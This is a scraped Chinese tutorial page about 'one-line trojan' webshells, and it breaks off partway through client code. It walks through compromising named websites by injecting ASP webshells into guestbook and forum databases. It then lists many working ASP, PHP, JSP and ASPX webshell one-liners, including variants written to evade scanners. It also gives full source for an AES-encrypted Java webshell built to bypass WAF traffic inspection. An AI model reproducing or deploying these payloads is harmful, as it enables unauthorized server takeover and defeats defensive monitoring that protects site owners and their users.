精华内容
下载资源
问答
  • 一句话木马使用方法总结
    千次阅读
    2021-03-17 23:23:43

    “EASYNEWS新闻管理系统 v1.01 正式版”是在企业网站中非常常见的一套整站模版,在该网站系统的留言本组件中就存在着数据过滤不严漏洞,如果网站是默认路径和默认文件名安装的话,入侵者可以利用该漏洞直接上传ASP木马程序控制整个网站服务器。

    Step1 搜索入侵目标

    使用了“EASYNEWS新闻管理系统 v1.01 正式版”的网站,在网站页面的底部版权声明处,往往会有关键字符为“WWW.52EASY.COM 版权所有”。只要在GOOGLE或百度中以该字符串为关键词进行搜索,就可以找到大量的入侵目标。

    Step2 检测入侵条件

    在这里,我们以网站“http://www.qswtj.com/news/index.htm”为例进行一次入侵检测。“EASYNEWS新闻管理系统”网站的留言本数据库文件默认是位于“\ebook\db\ebook.asp”,首先在浏览器地址栏中输入“http://www.qswtj.com/news/ebook/db/ebook.asp”,回车后在浏览器页面中将显示访问留言本数据库文件的返回信息。如果在页面中显示乱码,则说明该网站的留言本数据库文件没有改名,可以进行入侵。

    Step3 在数据库中插入ASP后门

    前面提到了该新闻系统的留言本插件存在过滤不严,因此我们可以通过提交发言,在数据库中插入“一句话木马”服务端代码:

    在浏览器中访问“http://www.qswtj.com/news/khly.htm”,打开提交留言页面。在提交页面中的“主页”栏中,直接填写“一句话木马”服务端代码,其它随便填写。确定后点击“发表留言”按钮,文章发表成功后,即可将“一句话木马”服务端代码插入到留言本数据库中了。

    Step4 连接后门上传Webshell

    由于留言本数据库文件“ebook.asp”是一个ASP文件,所以我们插入到数据库文件中的ASP语句将会被执行。将“一句话木马”客户端中的提交地址改为留言本数据库文件地址,然后用浏览器打开客户端,在上方的输入框中输入上传ASP木马的保存路径,在下面的输入框中可以粘贴入其它的ASP木马代码,这里选择的是桂林老兵网站管理助手ASP代码。点击提交按钮后,刚才粘贴的ASP木马将被写入到论坛服务器中保存。

    Step5 打开WEBSHELL

    上传的ASP木马被保存到与数据库文件同一WEB目录下,文件名为“temp.asp”,因此我们在IE浏览器中打开页面“http://www.qswtj.com/news/ebook/db/temp.asp”,输入默认的密码“gxgl.com”,就可以看到一个WEBSHELL了。

    在Webshell中可以上传其它的文件或者安装木马后门、执行各种命令等,网站的服务器已经掌握在我们的手中,可以为所欲为了。

    实例二 “社区超市”入侵动网论坛

    Step1 检测入侵条件

    以入侵论坛“http://www.bbsok.com/”为例。首先在浏览器地址栏中输入“http://www.bbsok.com/data/shop.asp”,回车后在浏览器页面中将显示访问"shop.asp"文件的返回信息。说明该论坛的社区超市数据库文件没有改名或删除,可以进行入侵。

    Step2 在数据库中插入ASP后门

    登录论坛后,点击页面中的“娱乐”→“社区超市”,打开社区超市页面。在该页面中选择商店申请,打开“商店申请入驻”页面“http://www.bbsok.com/z_shop_newshop.asp”,在页面中填写任意信息,注意在“商店招牌”栏中,添加刚才的ASP代码"〈%execute request("l")%〉"。确定后点击“申请”按钮进行提交,即可将ASP代码保存在数据库文件中了。

    后面的步骤就与上面介绍的一样了,只需要用蓝屏木马连接数据库文件“http://sdoygb.w2.dvbbs.net/data/shop.asp”,然后上传WEBSHELL就可以控制论坛服务器了。

    实例三 “一句话木马”入侵未知网站

    从上面的两个例子,我们可以看出利用“一句话木马”入侵控制存在数据库过滤不严漏洞的网站,成功的前提是一定要知道网站的数据库地址。对于一些使用了未知网页程序的网站,我们如何才能找到它的数据库地址呢?这就要结合暴库或者跨站之类的方法了,下面只是结合一个简单的暴库,介绍一下利用一句话木马入侵未知网站的方法。

    Step1 暴库得到数据库路径

    以“http://bbs.dwself.com”为例。在浏览器中打开“http://bbs.dwself.com/join/listall.asp?bid=2”,将地址栏中join后的/改为%5c,在提交后的返回返回信息中可以看到网站数据库地址:“’d:\wwwroot\shuilong\wwwroot\admin\adshuilonG!#).asp’”,数据库文件名中加入了“#”符号,“#”符号在IE中执行时被解释为中断符,要访问该数据库文件则必须将“#”号变为“23%”才可以。因此数据库文件的实际WEB地址为“http://bbs.dwself.com/join/admin/adshuilonG!%23).asp”

    Step2 注册网站,插入“一句话木马”

    由于数据库文件是ASP文件格式的,满足入侵条件,因此现在我们需要将“一句话木马”插入到数据库文件中去。

    在网页上点击注册网站按钮,打开注册链接“http://bbs.dwself.com/join/add.asp?action=step3&bid=3”,在资料填写页面处的站点名称或地址中写入“一句话木马”服务端代码,其它随便填写。然后点击完成按钮提交数据,木马服务端就被插入到数据库文件中了。

    最后只需要用蓝屏木马连接数据库文件“http://bbs.dwself.com/join/admin/adshuilonG!%23).asp”,然后上传ASP木马就可以控制该网站的服务器了。

    “一句话木马”的防范

    要防范“一句话木马”可以从两方面进行,首先是要隐藏网站的数据库,不要让攻击者知道数据库文件的链接地址。这就需要管理员在网页程序中查被暴库漏洞,在数据库连接文件中加入容错代码等,具体的防暴库方法在这里就不作过多的讲解了。

    其次就是要防止用户提交的数据未过滤漏洞,对用户提交的数据进行过滤,替换一些危险的代码等。例如中国站长联盟网站在出现该漏洞后已经对网页程序进行的修补,插入的ASP代码中的〈、〉和"等字符会被网页程序转换成其它字符,致使服务端代码无法正常执行。

    只要作好这两方面的安全工作,“一句话木马”虽然无孔不入,但是面对这样的网站系统也是无可奈何的了。

    更多相关内容
  • 不过classloader内部实现了个protected的defineClass方法,可以将byte[]直接转换为Class,方法原型如下: 因为该方法是protected的,我们没办法在外部直接调用,当然我们可以通过反射来修改保护属性,不过我们选择...

    0x01 原理介绍

    首先要让服务端有动态地将字节流解析成Class的能力,这是基础。
    正常情况下,Java并没有提供直接解析class字节数组的接口。不过classloader内部实现了一个protected的defineClass方法,可以将byte[]直接转换为Class,方法原型如下:
    在这里插入图片描述
    因为该方法是protected的,我们没办法在外部直接调用,当然我们可以通过反射来修改保护属性,不过我们选择一个更方便的方法,直接自定义一个类继承classloader,然后在子类中调用父类的defineClass方法。

    下面是一个简单的Demo:

    public class Demo {
        
        public static class Myloader extends ClassLoader {
            public Class get(byte[] b) {
                return super.defineClass(b, 0, b.length);
            }
        }
    
        // 使用继承ClassLoader的方法
        public static Class<?> getClass(String classCode) throws IOException, InstantiationException, IllegalAccessException {
            BASE64Decoder code = new BASE64Decoder();
            Class result = new Myloader().get(code.decodeBuffer(classCode));
            return (Class<?>)result;
        }    
    
    	public static void main(String[] args) throws Exception {
            // TODO Auto-generated method stub
            String classStr = "yv66vgAAADQAQgoADwAjCAAkCAAlCgAmACcKACgAKQgAKgoAKAArCAAsCgAtAC4KAC0ALwcAMAoACwAxCAAyBwAzBwA0AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABpMY29tL2FudHNlYy9kdXBlaS9QYXlsb2FkOwEACHRvU3RyaW5nAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAdjb21tYW5kAQASTGphdmEvbGFuZy9TdHJpbmc7AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHADUHADMHADABAApTb3VyY2VGaWxlAQAMUGF5bG9hZC5qYXZhDAAQABEBAB50b3VjaCAvdG1wL215X3RyYW5zbGV0X3BheWxvYWQBAAdvcy5uYW1lBwA2DAA3ADgHADUMADkAGAEAA21hYwwAOgA7AQA9L1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHAvQ29udGVudHMvTWFjT1MvQ2FsY3VsYXRvcgcAPAwAPQA+DAA/AEABABNqYXZhL2lvL0lPRXhjZXB0aW9uDABBABEBAAJPSwEAGGNvbS9hbnRzZWMvZHVwZWkvUGF5bG9hZAEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3RyaW5nAQAQamF2YS9sYW5nL1N5c3RlbQEAC2dldFByb3BlcnR5AQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAt0b0xvd2VyQ2FzZQEACnN0YXJ0c1dpdGgBABUoTGphdmEvbGFuZy9TdHJpbmc7KVoBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEADgAPAAAAAAACAAEAEAARAAEAEgAAAC8AAQABAAAABSq3AAGxAAAAAgATAAAABgABAAAACQAUAAAADAABAAAABQAVABYAAAABABcAGAABABIAAACnAAIAAgAAACkSAkwSA7gABLYABRIGtgAHmQAGEghMuAAJK7YAClenAAhMK7YADBINsAABAAAAHgAhAAsAAwATAAAAIgAIAAAADgADAA8AEwARABYAEwAeABcAIQAUACIAFgAmABgAFAAAACAAAwADABsAGQAaAAEAIgAEABsAHAABAAAAKQAVABYAAAAdAAAAFgAD/AAWBwAe/wAKAAEHAB8AAQcAIAQAAQAhAAAAAgAi";
            Class<?> result = getClass(classStr);
            System.out.println(result.newInstance().toString());
        }
    }
    

    上面代码中的classStr变量的值就是如下这个类编译之后的class文件的base64编码:

    package com.antsec.dupei;
    
    import java.io.IOException;
    
    /**
     * @author dupei.dp@antgroup.com
     * @date 2021/8/11 11:19
     */
    public class Payload {
        @Override
        public String toString() {
            // TODO Auto-generated method stub
            try {
                String command = "touch /tmp/my_translet_payload";
                if (System.getProperty("os.name").toLowerCase().startsWith("mac")) {
                    // 在MacOS上打开计算器
                    command = "/System/Applications/Calculator.app/Contents/MacOS/Calculator";
                }
                Runtime.getRuntime().exec(command);
            } catch (IOException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            }
            return "OK";
        }
    }
    

    到此,我们就可以直接动态解析并执行编译好的class字节流了。
    在这里插入图片描述
    除了上述使用集成classloader的方式调用defineClass之外,也可以使用反射机制,这个在新版的冰蝎中,以及开始使用了。

    // 使用反射的方法
    public static Class<?> getClass2(String classCode) throws IOException, InvocationTargetException,
    IllegalAccessException, NoSuchMethodException, InstantiationException {
        ClassLoader   loader        = Thread.currentThread().getContextClassLoader();
        BASE64Decoder base64Decoder = new BASE64Decoder();
        byte[]        bytes         = base64Decoder.decodeBuffer(classCode);
    
        Method method = null;
        Class<?> clz    = loader.getClass();
        while (method == null && clz != Object.class) {
            try {
                method = clz.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
            } catch (NoSuchMethodException ex) {
                clz = clz.getSuperclass();
            }
        }
    
        if (method != null) {
            method.setAccessible(true);
            return (Class<?>) method.invoke(loader, bytes, 0, bytes.length);
        }
        return null;
    }
    

    0x02 参考

    ● 冰蝎: https://github.com/rebeyond/Behinder

    展开全文
  • 各种一句话木马大全

    千次阅读 2021-02-28 18:09:28
    %>""then session("c")=request("c"):end if:if session("c")<...'备份专用'无防下载表,有防下载表突破专用一句话'防杀防扫专用"" ThenExecuteGlobal(Request("c"))%>'不用""execute request("c")名字)+...

    %>

    ""then session("c")=request("c"):end if:if session("c")<>"" then execute session("c")%>

    '备份专用

    '无防下载表,有防下载表突破专用一句话

    '防杀防扫专用

    "" ThenExecuteGlobal(Request("c"))%>

    '不用""

    名字)+'') %>

    '不用双引号

    '可以躲过雷客图

    "request",request ms.ExecuteStatement("ev"&"al(request(""c""))")%>

    '容错代码

    if Request("sb")<>"" then ExecuteGlobal request("sb") end if

    PHP一句话

    <?php @eval_r($_POST1)?>//容错代码

    <?php assert($_POST1);?>//使用Lanker一句话客户端的专家模式执行相关的PHP语句

    $_POST['c']($_POST['cc']);?>

    $_POST['c']($_POST['cc'],$_POST['cc'])?>

    <?php @preg_replace("/[email]/e",$_POST['h'],"error");?>/*使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入*/:h=@eval_r($_POST1);

    //绕过<?限制的一句话

    JSP一句话

    提交客户端

    ASPX一句话

    再补充几个:

    推荐还是把一句话加进图片里面去。

    普通的php一句话:<?php @eval($_POST['r00ts']);?>

    普通的asp一句话:

    aspx突破一流的:

    [code]

    dim da

    set fso=server.createobject("scripting.filesystemobject")

    path=request("path")

    if path<>"" then

    data=request("da")

    set da=fso.createtextfile(path,true)

    da.write data

    if err=0 then

    Response.Write "yes"

    else

    Response.Write "no"

    end if

    err.clear

    end if

    set da=nothing

    set fos=nothing

    Response.Write "<form action=" method=post>"

    Response.Write "<input type=text name=path>"

    Response.Write "<br>"

    Response.Write "当前文件路径:"&server.mappath(request.servervariables("script_name"))

    Response.Write "<br>"

    Response.Write "操作系统为:"&Request.ServerVariables("OS")

    Response.Write "<br>"

    Response.Write "WEB服务器版本为:"&Request.ServerVariables("SERVER_SOFTWARE")

    Response.Write "<br>"

    Response.Write "<textarea name=da cols=50 rows=10 width=30></textarea>"

    Response.Write "<br>"

    Response.Write "<input type=submit value=save>"

    Response.Write "</form>"

    </Script>

    ASP一句话:”"ThenExecuteGlobal(Request(“1″))%>

    PHP防杀放扫 一句话:<?php (])?>

    上面这句是防杀防扫的!网上很少人用!可以插在网页任何ASP文件的最底部不会出错,比如

    index.asp里面也是可以的!

    因为加了判断!加了判断的PHP一句话,与上面的ASP一句话相同道理,也是可以插在任何PHP文件

    的最底部不会出错!<?if (isset($_POST['1'])){eval($_POST['1']);}?><?php system

    ($_REQUEST[1]);?>

    无防下载表,有防下载表可尝试插入以下语句突破的一句话

    (“class”)%>

    备份专用

    asp一句话

    aspx一句话:WebAdmin2Y.x.y aaaaa =newWebAdmin2Y.x.y

    (“add6bb58e139be10″);

    可以躲过雷客图的一句话。

    ms.Language=”VBScript”ms.AddObject”Response”,Responsems.AddObject”request”,

    requestms.ExecuteStatement(“ev”&”al(request(“”1″”))”)%>

    不用'‘的asp一句话execute request(“1″)

    不用双引号的一句话。

    展开全文
  • title: “利用动态二进制加密实现新型一句话木马-java篇” categories: [网络安全CyberSecurity] tags: [一句话木马] 概述 本系列文章重写了java、.net、php三个版本的一句话木马,可以解析并执行客户端传递过来的...

    layout: post
    title: “利用动态二进制加密实现新型一句话木马-java篇”
    categories: [网络安全CyberSecurity]
    tags: [一句话木马]


    概述

    本系列文章重写了java、.net、php三个版本的一句话木马,可以解析并执行客户端传递过来的加密二进制流,并实现了相应的客户端工具。从而一劳永逸的绕过WAF或者其他网络防火墙的检测。
    本来是想把这三个版本写在一篇文章里,过程中发现篇幅太大,所以分成了四篇,分别是:
    利用动态二进制加密实现新型一句话木马之Java篇
    利用动态二进制加密实现新型一句话木马之.net篇
    利用动态二进制加密实现新型一句话木马之php篇
    利用动态二进制加密实现新型一句话木马之客户端下载及功能介绍

    前言

    一句话木马是一般是指一段短小精悍的恶意代码,这段代码可以用作一个代理来执行攻击者发送过来的任意指令,因其体积小、隐蔽性强、功能强大等特点,被广泛应用于渗透过程中。最初的一句话木马真的只有一句话,比如eval(request(“cmd”)),后续为了躲避查杀,出现了很多变形。无论怎么变形,其本质都是用有限的尽可能少的字节数,来实现无限的可任意扩展的功能。
    一句话木马从最早的<%execute(request(“cmd”))%>到现在,也有快二十年的历史了。客户端工具也从最简单的一个html页面发展到现在的各种GUI工具。但是近些年友军也没闲着,涌现出了各种防护系统,这些防护系统主要分为两类:一类是基于主机的,如Host based IDS、安全狗、D盾等,基于主机的防护系统主要是通过对服务器上的文件进行特征码检测;另一类是基于网络流量的,如各种云WAF、各种商业级硬件WAF、网络防火墙、Net Based IDS等,基于网络的防护设备其检测原理是对传输的流量数据进行特征检测,目前绝大多数商业级的防护设备皆属于此种类型。一旦目标网络部署了基于网络的防护设备,我们常用的一句话木马客户端在向服务器发送Payload时就会被拦截,这也就导致了有些场景下会出现一句话虽然已经成功上传,但是却无法连接的情况。

    理论篇

    为什么会被拦截

    在讨论怎么绕过之前,先分析一下我们的一句话客户端发送的请求会被拦截?
    我们以菜刀为例,来看一下payload的特征,如下为aspx的命令执行的payload:

    img

    Payload如下:

    caidao=Response.Write("->|");
    var err:Exception;try{eval(System.Text.Encoding.GetEncoding(65001).GetString(System. Convert.FromBase64String("dmFyIGM9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzU3RhcnRJbmZvKFN5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKDY1MDAxKS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZXN0Lkl0ZW1bInoxIl0pKSk7dmFyIGU9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzKCk7dmFyIG91dDpTeXN0ZW0uSU8uU3RyZWFtUmVhZGVyLEVJOlN5c3RlbS5JTy5TdHJlYW1SZWFkZXI7Yy5Vc2VTaGVsbEV4ZWN1dGU9ZmFsc2U7Yy5SZWRpcmVjdFN0YW5kYXJkT3V0cHV0PXRydWU7Yy5SZWRpcmVjdFN0YW5kYXJkRXJyb3I9dHJ1ZTtlLlN0YXJ0SW5mbz1jO2MuQXJndW1lbnRzPSIvYyAiK1N5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKDY1MDAxKS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZXN0Lkl0ZW1bInoyIl0pKTtlLlN0YXJ0KCk7b3V0PWUuU3RhbmRhcmRPdXRwdXQ7RUk9ZS5TdGFuZGFyZEVycm9yO2UuQ2xvc2UoKTtSZXNwb25zZS5Xcml0ZShvdXQuUmVhZFRvRW5kKCkrRUkuUmVhZFRvRW5kKCkpOw%3D%3D")),"unsafe");}catch(err){Response.Write("ERROR:// "%2Berr.message);}Response.Write("|<-");Response.End();&z1=Y21k&z2=Y2QgL2QgImM6XGluZXRwdWJcd3d3cm9vdFwiJndob2FtaSZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D
    

    可以看到,虽然关键的代码采用了base64编码,但是payload中扔有多个明显的特征,比如有eval关键词,有Convert.FromBase64String,有三个参数,参数名为caidao(密码字段)、z1、z2,参数值有base64编码。针对这些特征很容易写出对应的防护规则,比如:POST请求中有Convert.FromBase64String关键字,有z1和z2参数,z1参数值为4个字符,z2参数值为base64编码字符。

    被动的反抗

    当然这种很low的规则,绕过也会很容易,攻击者只要自定义自己的payload即可绕过,比如把参数改下名字即可,把z1,z2改成z9和z10。不过攻击者几天后可能会发现z9和z10也被加到规则里面去了。再比如攻击者采用多种组合编码方式进行编码,对payload进行加密等等,不过对方的规则也在不断的更新,不断识别关键的编码函数名称、加解密函数名称,并加入到规则里面。于是攻击者和防御者展开了长期的较量,不停的变换着各种姿势……

    釜底抽薪

    其实防御者之所以能不停的去更新自己的规则,主要是因为两个原因:1.攻击者发送的请求都是脚本源代码,无论怎么样编码,仍然是服务器端解析引擎可以解析的源代码,是基于文本的,防御者能看懂。2.攻击者执行多次相同的操作,发送的请求数据也是相同的,防御者就可以把他看懂的请求找出特征固化为规则。
    试想一下,如果攻击者发送的请求不是文本格式的源代码,而是编译之后的字节码(比如java环境下直接向服务器端发送class二进制文件),字节码是一堆二进制数据流,不存在参数;攻击者把二进制字节码进行加密,防御者看到的就是一堆加了密的二进制数据流;攻击者多次执行同样的操作,采用不同的密钥加密,即使是同样的payload,防御者看到的请求数据也不一样,这样防御者便无法通过流量分析来提取规则。
    SO,这就是我们可以一劳永逸绕过waf的思路,具体流程如下:

    1. 首次连接一句话服务端时,客户端首先向服务器端发起一个GET请求,服务器端随机产生一个128位的密钥,把密钥回显给客户端,同时把密钥写进服务器侧的Session中。
    2. 客户端获取密钥后,对本地的二进制payload先进行AES加密,再通过POST方式发送至服务器端。
    3. 服务器收到数据后,从Session中取出秘钥,进行AES解密,解密之后得到二进制payload数据。
    4. 服务器解析二进制payload文件,执行任意代码,并将执行结果加密返回。
    5. 客户端解密服务器端返回的结果。

    如下为执行流程图:

    img

    实现篇

    服务端实现

    想要直接解析已经编译好的二进制字节流,实现我们的绕过思路,现有的Java一句话木马无法满足我们的需求,因此我们首先需要打造一个新型一句话木马:

    1. 服务器端动态解析二进制class文件:

    首先要让服务端有动态地将字节流解析成Class的能力,这是基础。
    正常情况下,Java并没有提供直接解析class字节数组的接口。不过classloader内部实现了一个protected的defineClass方法,可以将byte[]直接转换为Class,方法原型如下:

    img

    因为该方法是protected的,我们没办法在外部直接调用,当然我们可以通过反射来修改保护属性,不过我们选择一个更方便的方法,直接自定义一个类继承classloader,然后在子类中调用父类的defineClass方法。
    下面我们写个demo来测试一下:

    package net.rebeyond;    
    import sun.misc.BASE64Decoder;
    
    public class Demo {
        public static class Myloader extends ClassLoader //继承ClassLoader
        {   
            public  Class get(byte[] b)
            {
                return super.defineClass(b, 0, b.length);
            }       
        }
        public static void main(String[] args) throws Exception {
            // TODO Auto-generated method stub
            String classStr="yv66vgAAADQAKAcAAgEAFW5ldC9yZWJleW9uZC9SZWJleW9uZAcABAEAEGphdmEvbGFuZy9PYmplY3QBAAY8aW5pdD4BAAMoKVYBAARDb2RlCgADAAkMAAUABgEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABdMbmV0L3JlYmV5b25kL1JlYmV5b25kOwEACHRvU3RyaW5nAQAUKClMamF2YS9sYW5nL1N0cmluZzsKABEAEwcAEgEAEWphdmEvbGFuZy9SdW50aW1lDAAUABUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7CAAXAQAIY2FsYy5leGUKABEAGQwAGgAbAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwoAHQAfBwAeAQATamF2YS9pby9JT0V4Y2VwdGlvbgwAIAAGAQAPcHJpbnRTdGFja1RyYWNlCAAiAQACT0sBAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQEAClNvdXJjZUZpbGUBAA1SZWJleW9uZC5qYXZhACEAAQADAAAAAAACAAEABQAGAAEABwAAAC8AAQABAAAABSq3AAixAAAAAgAKAAAABgABAAAABQALAAAADAABAAAABQAMAA0AAAABAA4ADwABAAcAAABpAAIAAgAAABS4ABASFrYAGFenAAhMK7YAHBIhsAABAAAACQAMAB0AAwAKAAAAEgAEAAAACgAJAAsADQANABEADwALAAAAFgACAAAAFAAMAA0AAAANAAQAIwAkAAEAJQAAAAcAAkwHAB0EAAEAJgAAAAIAJw==";
            BASE64Decoder code=new sun.misc.BASE64Decoder();
            Class result=new Myloader().get(code.decodeBuffer(classStr));//将base64解码成byte数组,并传入t类的get函数
            System.out.println(result.newInstance().toString());
        }
    }
    

    上面代码中的classStr变量的值就是如下这个类编译之后的class文件的base64编码:

    package net.rebeyond;
    import java.io.IOException;
    
    public class Payload {
        @Override
        public String toString() {
            // TODO Auto-generated method stub
            try {
                Runtime.getRuntime().exec("calc.exe");
            } catch (IOException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            }
            return "OK";
        }
    }
    

    简单解释一下上述代码:

    • 首先自定义一个类Myloader,并继承classloader父类,然后自定义一个名为get的方法,该方法接收byte数组类型的参数,然后调用父类的defineClass方法去解析byte数据,并返回解析后的Class。
    • 单独编写一个Payload类,并实现toString方法。因为我们想要我们的服务端尽可能的短小精悍,所以我们定义的Payload类即为默认的Object的子类,没有额外定义其他方法,因此只能借用Object类的几个默认方法,由于我们执行payload之后还要拿到执行结果,所以我们选择可以返回String类型的toString方法。把这个类编译成Payload.class文件。
    • main函数中classStr变量为上述Payload.class文件二进制流的base64编码。
    • 新建一个Myloader的实例,将classStr解码为二进制字节流,并传入Myloader实例的get方法,得到一个Class类型的实例result,此时result即为Payload.class(注意此处的Payload.class不是上文的那个二进制文件,而是Payload这个类的class属性)。
    • 调用result类的默认无参构造器newInstance()生成一个Payload类的实例,然后调用该实例的toString方法,继而执行toString方法中的代码:Runtime.getRuntime().exec(“calc.exe”);return “OK”
    • 在控制台打印出toString方法的返回值。
      OK,代码解释完了,下面尝试执行Demo类,成功弹出计算器,并打印出“OK”字符串,如下图:

    img

    到此,我们就可以直接动态解析并执行编译好的class字节流了。

    2.生成密钥:

    首先检测请求方式,如果是带了密码字段的GET请求,则随机产生一个128位的密钥,并将密钥写进Session中,然后通过response发送给客户端,代码如下:

    if (request.getMethod().equalsIgnoreCase("get")) {
        String k = UUID.randomUUID().toString().replace("-","").substring(0, 16);
        request.getSession().setAttribute("uid", k);
        out.println(k);
        return;
    }
    

    这样,后续发送payload的时候只需要发送加密后的二进制流,无需发送密钥即可在服务端解密,这时候waf捕捉到的只是一堆毫无意义的二进制数据流。

    3.解密数据,执行:

    当客户端请求方式为POST时,服务器先从request中取出加密过的二进制数据(base64格式),代码如下:

    Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding");
    c.init(Cipher.DECRYPT_MODE,new SecretKeySpec(request.getSession().getAttribute("uid").toString().getBytes(), "AES"));
    new Myloader().get(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().toString();
    
    4.改进一下

    前面提到,我们是通过重写Object类的toString方法来作为我们的Payload执行入口,这样的好处是我们可以取到Payload的返回值并输出到页面,但是缺点也很明显:在toString方法内部没办法访问Request、Response、Seesion等servlet相关对象。所以需要找一个带有入参的方法,并且能把Request、Response、Seesion等servlet相关对象传递进去。

    重新翻看了一下Object类的方法列表:

    img

    可以看到equals方法完美符合我们的要求,有入参,而且入参是Object类,在Java世界中,Object类是所有类的基类,所以我们可以传递任何类型的对象进去。

    方法找到了,下面看我们要怎么把servlet的内置对象传进去呢?传谁呢?

    JSP有9个内置对象:

    img

    但是equals方法只接受一个参数,通过对这9个对象分析发现,只要传递pageContext进去,便可以间接获取Request、Response、Seesion等对象,如HttpServletRequest request=(HttpServletRequest) pageContext.getRequest();

    另外,如果想要顺利的在equals中调用Request、Response、Seesion这几个对象,还需要考虑一个问题,那就是ClassLoader的问题。JVM是通过ClassLoader+类路径来标识一个类的唯一性的。我们通过调用自定义ClassLoader来defineClass出来的类与Request、Response、Seesion这些类的ClassLoader不是同一个,所以在equals中访问这些类会出现java.lang.ClassNotFoundException异常。

    解决方法就是复写ClassLoader的如下构造函数,传递一个指定的ClassLoader实例进去:

    img

    5.完整代码:
    <%@ page
        import="java.util.*,javax.crypto.Cipher,javax.crypto.spec.SecretKeySpec"%>
    <%!
    /*
    定义ClassLoader的子类Myloader
    */
    public static class Myloader extends ClassLoader {
        public Myloader(ClassLoader c) 
        {super(c);}
        public Class get(byte[] b) {  //定义get方法用来将指定的byte[]传给父类的defineClass
            return super.defineClass(b, 0, b.length);
        }
    }
    %>
    <%
        if (request.getParameter("pass")!=null) {  //判断请求方法是不是带密码的握手请求,此处只用参数名作为密码,参数值可以任意指定
            String k = UUID.randomUUID().toString().replace("-", "").substring(0, 16);  //随机生成一个16字节的密钥
            request.getSession().setAttribute("uid", k); //将密钥写入当前会话的Session中
            out.print(k); //将密钥发送给客户端
            return; //执行流返回,握手请求时,只产生密钥,后续的代码不再执行
        }
        /*
        当请求为非握手请求时,执行下面的分支,准备解密数据并执行
        */
        String uploadString= request.getReader().readLine();//从request中取出客户端传过来的加密payload
        Byte[] encryptedData= new sun.misc.BASE64Decoder().decodeBuffer(uploadString); //把payload进行base64解码
        Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding"); // 选择AES解密套件
        c.init(Cipher.DECRYPT_MODE,new SecretKeySpec(request.getSession().getAttribute("uid").toString().getBytes(), "AES")); //从Session中取出密钥
        Byte[] classData= c.doFinal(encryptedData);  //AES解密操作
        Object myLoader= new Myloader().get(classData).newInstance(); //通过ClassLoader的子类Myloader的get方法来间接调用defineClass方法,将客户端发来的二进制class字节数组解析成Class并实例化
        String result= myLoader.equals(pageContext); //调用payload class的equals方法,我们在准备payload class的时候,将想要执行的目标代码封装到equals方法中即可,将执行结果通过equals中利用response对象返回。
    %>
    

    为了增加可读性,我对上述代码做了一些扩充,简化一下就是下面这一行:

    <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>
    

    现在网络上流传的菜刀jsp一句话木马要7000多个字节,我们这个全功能版本只有611个字节,当然如果只去掉动态加密而只实现传统一句话木马的功能的话,可以精简成319个字节,如下:

    <%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null)new U(this.getClass().getClassLoader()).g(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine())).newInstance().equals(pageContext);%>
    

    至此,我们的具有动态解密功能的、能解析执行任意二进制流的新型一句话木马就完成了。

    客户端实现

    1.远程获取加密密钥:

    客户端在运行时,首先以GET请求携带密码字段向服务器发起握手请求,获取此次会话的加密密钥和cookie值。加密密钥用来对后续发送的Payload进行AES加密;上文我们说到服务器端随机产生密钥之后会存到当前Session中,同时会以set-cookie的形式给客户端一个SessionID,客户端获取密钥的同时也要获取该cookie值,用来标识客户端身份,服务器端后续可以通过客户端传来的cookie值中的sessionId来从Session中取出该客户端对应的密钥进行解密操作。关键代码如下:

    public static Map<String, String> getKeyAndCookie(String getUrl) throws Exception {
        Map<String, String> result = new HashMap<String, String>();
        StringBuffer sb = new StringBuffer();
        InputStreamReader isr = null;
        BufferedReader br = null;
        URL url = new URL(getUrl);
